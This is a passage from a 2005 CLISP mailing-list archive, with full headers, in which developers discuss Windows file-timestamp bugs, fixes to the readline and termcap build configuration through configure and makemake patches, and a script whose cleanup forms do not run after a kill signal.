<434A6574.7040505@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: POSIX:SET-FILE-STAT and FILE-WRITE-DATE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 10 06:43:27 2005 X-Original-Date: Mon, 10 Oct 2005 09:40:38 -0400 > * Yaroslav Kavenchuk [2005-10-10 15:58:28 +0300]: > > Sam Steingold wrote: > >> because win32 time functions are broken. >> http://cpan.uwinnipeg.ca/htdocs/Win32-UTCFileTime/Win32/UTCFileTime.html >> > > Thanks. Oops. > > use checked function? > > (defun set-file-write-date (file-name file-date) > (POSIX:SET-FILE-STAT file-name :MTIME file-date) > (let ((diff (- file-date (file-write-date file-name)))) > (unless (zerop diff) > (POSIX:SET-FILE-STAT file-name :MTIME (+ file-date diff))))) > > :( I think I fixed this issue using the instructions in the aforementioned page... -- Sam Steingold (http://www.podval.org/~sds) running w2k Flying is not dangerous; crashing is. From sds@gnu.org Mon Oct 10 08:09:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EOzHS-0007o9-8x for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 08:09:34 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EOzHa-0002PO-Hh for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 08:09:45 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9AF9H1R008553; Mon, 10 Oct 2005 11:09:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434A2A2F.3040006@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 10 Oct 2005 11:45:35 +0300") References: <434A2A2F.3040006@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_PLUS BODY: Text interparsed with + 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 10 08:10:30 2005 X-Original-Date: Mon, 10 Oct 2005 11:08:15 -0400 > * Yaroslav Kavenchuk [2005-10-10 11:45:35 +0300]: > > Sam Steingold wrote: > >> oops - here is the correct patch. > > has not helped again: > > ./configure --with-mingw --with-readline \ > --with-module=dirkey --with-module=pcre \ > --with-module=postgresql --with-module=rawsock \ > --with-module=wildcard --with-module=zlib \ > --with-module=bindings/win32 \ > --with-libpcre-prefix=/usr/local \ > --with-libtermcap-prefix=/usr/local \ > --with-libreadline-prefix=/usr/local \ > --with-libpq-prefix=c:/PostgreSQL/8.0 \ > --build build-full how about this patch? -- Sam Steingold (http://www.podval.org/~sds) running w2k To understand recursion, one has to understand recursion first. Index: configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.135 diff -u -w -u -b -w -i -B -r1.135 configure --- configure 6 Oct 2005 02:10:27 -0000 1.135 +++ configure 10 Oct 2005 15:07:01 -0000 @@ -871,6 +871,7 @@ --with-libsigsegv-prefix[=DIR] search for libsigsegv in DIR/include and DIR/lib --without-libsigsegv-prefix don't search for libsigsegv in includedir and libdir --with-x use the X Window System + --with-libtermcap-prefix=DIR search for ncurses and termcap in DIR/include and DIR/lib --with-readline use readline (default is YES, if present) --with-libreadline-prefix[=DIR] search for libreadline in DIR/include and DIR/lib --without-libreadline-prefix don't search for libreadline in includedir and libdir @@ -24707,6 +24708,15 @@ { echo "$as_me:$LINENO: * checks for libraries" >&5 echo "$as_me: * checks for libraries" >&6;} + +# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given. +if test "${with_libtermcap_prefix+set}" = set; then + withval="$with_libtermcap_prefix" + case "$withval" in + (/*) CPPFLAGS="$CPPFLAGS "-I$withval/include + LDFLAGS="$LDFLAGS "-L$withval/lib +esac +fi; LIBTERMCAP="broken" echo "$as_me:$LINENO: checking for library containing tgetent" >&5 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6 From pjb@informatimago.com Mon Oct 10 21:43:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPBye-0000xa-OE for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 21:43:00 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPByt-000447-R4 for clisp-list@lists.sourceforge.net; Mon, 10 Oct 2005 21:43:17 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 0C3CE586AD; Tue, 11 Oct 2005 06:43:02 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 44E9E586AA; Tue, 11 Oct 2005 06:42:59 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8864110F9F6; Tue, 11 Oct 2005 06:42:58 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20051011044258.8864110F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] A script receiving a signal doesn't execute cleanup forms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Oct 10 21:43:34 2005 X-Original-Date: Tue, 11 Oct 2005 06:42:58 +0200 (CEST) $ cd /tmp [pjb@thalassa tmp]$ cat cs #!/usr/local/bin/clisp -ansi -q -norc -K full (unwind-protect (sleep 60) (format t "Clean-up!") (finish-output)) [pjb@thalassa tmp]$ ./cs & [1] 562 [pjb@thalassa tmp]$ kill $! [1]+ Terminated ./cs [pjb@thalassa tmp]$ It's rather unfortunate... -- __Pascal Bourguignon__ http://www.informatimago.com/ Cats meow out of angst "Thumbs! If only we had thumbs! We could break so much!" From kavenchuk@jenty.by Tue Oct 11 03:11:53 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPH6v-000072-Mf for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 03:11:53 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPH7C-0006au-Mb for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 03:12:13 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id TPFBT8ZV; Tue, 11 Oct 2005 13:12:56 +0300 Message-ID: <434B9044.8010800@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 11 03:12:34 2005 X-Original-Date: Tue, 11 Oct 2005 13:13:24 +0300 Sam Steingold wrote: >>./configure --with-mingw --with-readline \ >> --with-module=dirkey --with-module=pcre \ >> --with-module=postgresql --with-module=rawsock \ >> --with-module=wildcard --with-module=zlib \ >> --with-module=bindings/win32 \ >> --with-libpcre-prefix=/usr/local \ >> --with-libtermcap-prefix=/usr/local \ >> --with-libreadline-prefix=/usr/local \ >> --with-libpq-prefix=c:/PostgreSQL/8.0 \ >> --build build-full > > > how about this patch? Better, but... I do not know what need look... output of ./configure...: ... configure: * checks for libraries checking for library containing tgetent... -ltermcap checking for rl_filename_completion_function... yes checking for rl_filename_completion_function declaration... extern char* rl_filename_completion_function(const char*, int); checking whether rl_already_prompted is declared... yes checking whether rl_readline_name is declared... yes configure: * checks for OS services ... Configure findings: FFI: yes (user requested: default) readline: yes libsigsegv: yes ./makemake --with-dynamic-ffi --win32gcc --with-readline --with-module=dirkey --with-module=pcre --with-module=postgresql --with-module=rawsock --with-module=wildcard --with-module=zlib --with-module=bindings/win32 --with-libpcre-prefix=/usr/local --with-libtermcap-prefix=/usr/local --with-libreadline-prefix=/usr/local --with-libpq-prefix=c:/PostgreSQL/8.0 --srcdir=../src > Makefile ... echo '#define CC "gcc -mno-cygwin"' >> cflags.h.new echo '#define CFLAGS "-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I."' >> cflags.h.new echo '#define CPP "gcc -mno-cygwin -E"' >> cflags.h.new echo '#define CPPLAGS ""' >> cflags.h.new echo '#define CLFLAGS "-L/usr/local/lib -x none"' >> cflags.h.new echo '#define LIBS "/usr/local/lib/libintl.a /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv"' >> cflags.h.new echo '#define X_LIBS ""' >> cflags.h.new ... module readline not build (does not start build) Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Oct 11 10:02:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPNWA-0005aK-3u for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 10:02:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPNWV-0003FF-K5 for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 10:02:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9BH2ETp017299; Tue, 11 Oct 2005 13:02:22 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <434B9044.8010800@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 11 Oct 2005 13:13:24 +0300") References: <434B9044.8010800@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 2.3 LONGWORDS Long string of long words -1.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 11 10:02:37 2005 X-Original-Date: Tue, 11 Oct 2005 13:01:13 -0400 > * Yaroslav Kavenchuk [2005-10-11 13:13:24 +0300]: > > Sam Steingold wrote: > >>>./configure --with-mingw --with-readline \ >>> --with-module=dirkey --with-module=pcre \ >>> --with-module=postgresql --with-module=rawsock \ >>> --with-module=wildcard --with-module=zlib \ >>> --with-module=bindings/win32 \ >>> --with-libpcre-prefix=/usr/local \ >>> --with-libtermcap-prefix=/usr/local \ >>> --with-libreadline-prefix=/usr/local \ >>> --with-libpq-prefix=c:/PostgreSQL/8.0 \ >>> --build build-full >> >> >> how about this patch? > > Better, but... OK, how about now? -- Sam Steingold (http://www.podval.org/~sds) running w2k A clear conscience is usually the sign of a bad memory. Index: src/makemake.in =================================================================== RCS file: /cvsroot/clisp/clisp/src/makemake.in,v retrieving revision 1.607 diff -u -w -r1.607 makemake.in --- src/makemake.in 30 Sep 2005 15:42:05 -0000 1.607 +++ src/makemake.in 11 Oct 2005 17:00:40 -0000 @@ -519,7 +519,8 @@ DVIPDF='@DVIPDF@' # either 'dvipdf' or '' GMALLOC='@GMALLOC@' # either 'gmalloc' or '' LIBS='@LIBS@' # list of system libraries - LIBTERMCAP='@LIBTERMCAP@' # either '-ltermcap' or '-lncurses' + LIBTERMCAP='@LIBTERMCAP@' # '-L/usr/??/lib' or 'broken' or '' + INCTERMCAP='@INCTERMCAP@' # '-I/usr/??/include' or '' LIBICONV='@LIBICONV@' # either '-liconv' or '' LIBSIGSEGV='@LTLIBSIGSEGV@' # '-lsigsegv -L/usr/local/lib' or '' X_INCLUDES='@X_INCLUDES@' # either '-I/usr/somewhere/include' or '' @@ -966,7 +967,6 @@ LIBICONV=`echo " $LIBICONV " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'` LIBINTL=`echo " $LIBINTL " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'` LIBSIGSEGV=`echo " $LIBSIGSEGV " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'` - LIBTERMCAP=`echo " $LIBTERMCAP " | sed -e 's, -lc ,,g' -e 's,^ ,,' -e 's, $,,'` fi if [ $TSYS = master -o $TOS = unix ] ; then OS_INCLUDES=$OS_INCLUDES' unix' @@ -1492,6 +1492,10 @@ XCFLAGS=$XCFLAGS' -DNO_TERMCAP_NCURSES' LIBTERMCAP="" fi +if [ "${LIBTERMCAP}" != "broken" -a -n "${LIBTERMCAP}" ]; then + XCFLAGS=${XCFLAGS}" ${INCTERMCAP}" + XLDFLAGS=${XLDFLAGS}" ${LIBTERMCAP}" +fi # the type of library naming if [ ${HOS} = "win32" -a ${HSYS} != "win32gcc" ]; then @@ -1531,7 +1535,6 @@ LIBS=$XCL_CHARSETLIB' '$LIBS fi -if [ $TOS = unix ] ; then if [ "${with_readline}" = no ]; then # --without-readline was supplied XCFLAGS=$XCFLAGS' -DNO_READLINE' @@ -1549,7 +1552,6 @@ fi fi fi -fi USE_GETTEXT='' XCL_GETTEXTLIB='' Index: src/configure =================================================================== RCS file: /cvsroot/clisp/clisp/src/configure,v retrieving revision 1.135 diff -u -w -r1.135 configure --- src/configure 6 Oct 2005 02:10:27 -0000 1.135 +++ src/configure 11 Oct 2005 17:00:40 -0000 @@ -315,7 +315,7 @@ # include #endif" -ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS' +ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP INCTERMCAP PACKAGE LIBOBJS LTLIBOBJS' ac_subst_files='' # Initialize some variables set by options. @@ -871,6 +871,7 @@ --with-libsigsegv-prefix[=DIR] search for libsigsegv in DIR/include and DIR/lib --without-libsigsegv-prefix don't search for libsigsegv in includedir and libdir --with-x use the X Window System + --with-libtermcap-prefix=DIR search for ncurses and termcap in DIR --with-readline use readline (default is YES, if present) --with-libreadline-prefix[=DIR] search for libreadline in DIR/include and DIR/lib --without-libreadline-prefix don't search for libreadline in includedir and libdir @@ -24707,7 +24708,19 @@ { echo "$as_me:$LINENO: * checks for libraries" >&5 echo "$as_me: * checks for libraries" >&6;} +termcap_prefix="" + +# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given. +if test "${with_libtermcap_prefix+set}" = set; then + withval="$with_libtermcap_prefix" + case "$withval" in (/*) termcap_prefix=$withval; ;; esac +fi; +if test x$termcap_prefix != x; then + LDFLAGS_save=$LDFLAGS + LDFLAGS=$LDFLAGS" -L$termcap_prefix" +fi LIBTERMCAP="broken" +INCTERMCAP="" echo "$as_me:$LINENO: checking for library containing tgetent" >&5 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6 if test "${ac_cv_search_tgetent+set}" = set; then @@ -24834,6 +24847,14 @@ LIBTERMCAP="" fi +if test x$termcap_prefix != x; then + LDFLAGS=$LDFLAGS_save + if test $LIBTERMCAP != broken; then + INCTERMCAP=-I$termcap_prefix/include + LIBTERMCAP=-L$termcap_prefix/lib + fi +fi + @@ -35224,6 +35245,7 @@ s,@GMALLOC@,$GMALLOC,;t t s,@ALLOCA@,$ALLOCA,;t t s,@LIBTERMCAP@,$LIBTERMCAP,;t t +s,@INCTERMCAP@,$INCTERMCAP,;t t s,@PACKAGE@,$PACKAGE,;t t s,@LIBOBJS@,$LIBOBJS,;t t s,@LTLIBOBJS@,$LTLIBOBJS,;t t From sds@gnu.org Tue Oct 11 11:07:11 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPOWr-0000ci-Ox for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 11:07:09 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPOWa-0001fx-Vm for clisp-list@lists.sourceforge.net; Tue, 11 Oct 2005 11:07:09 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9BI6R91027953; Tue, 11 Oct 2005 14:06:32 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051011044258.8864110F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Tue, 11 Oct 2005 06:42:58 +0200 (CEST)") References: <20051011044258.8864110F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: A script receiving a signal doesn't execute cleanup forms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Oct 11 11:07:21 2005 X-Original-Date: Tue, 11 Oct 2005 14:05:27 -0400 > * Pascal Bourguignon [2005-10-11 06:42:58 +0200]: > > $ cd /tmp > [pjb@thalassa tmp]$ cat cs > #!/usr/local/bin/clisp -ansi -q -norc -K full > (unwind-protect (sleep 60) > (format t "Clean-up!") > (finish-output)) > [pjb@thalassa tmp]$ ./cs & > [1] 562 > [pjb@thalassa tmp]$ kill $! > [1]+ Terminated ./cs > [pjb@thalassa tmp]$ > > It's rather unfortunate... fixed in the cvs. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From kavenchuk@jenty.by Wed Oct 12 02:08:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPcak-0003iW-5Y for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 02:08:06 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPcai-0007zs-EB for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 02:08:06 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 4YCKZ9JT; Wed, 12 Oct 2005 12:07:32 +0300 Message-ID: <434CD26F.5080708@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] Re: readline interface Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Oct 12 02:08:47 2005 X-Original-Date: Wed, 12 Oct 2005 12:07:59 +0300 Sam Steingold wrote: > OK, how about now? Excuse me, I have some problems with internet (I cannot use CVS). Update cvs-tarball more often is possible? Thanks! -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed Oct 12 06:35:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EPglK-0008Pi-QR for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 06:35:18 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EPglH-0003m2-Pf for clisp-list@lists.sourceforge.net; Wed, 12 Oct 2005 06:35:18 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j9CDYQtw001897; Wed, 12 Oct 2005 09:34:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: 